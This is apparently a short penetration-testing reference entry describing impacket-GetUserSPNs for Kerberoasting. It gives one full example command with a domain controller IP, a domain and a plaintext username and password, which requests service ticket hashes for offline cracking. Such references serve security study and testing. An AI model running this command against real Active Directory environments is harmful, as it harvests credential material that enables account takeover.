ToolsFebruary 9, 20261 min readby 0xt0pus

impacket-GetUserSPNs

Kerberoasting tool to request and extract service ticket hashes for offline cracking

#active-directory#windows#impacket#kerberos

Impacket-GetUserSPNs

Description

Impacket-GetUserSPNs is used for Kerberoasting attacks. It finds service accounts with SPNs (Service Principal Names) and requests their TGS tickets, which can then be cracked offline.

Usage 1: Kerberoasting

Command:

impacket-GetUserSPNs -dc-ip 192.168.208.40 hokkaido-aerospace.com/discovery:Start123! -request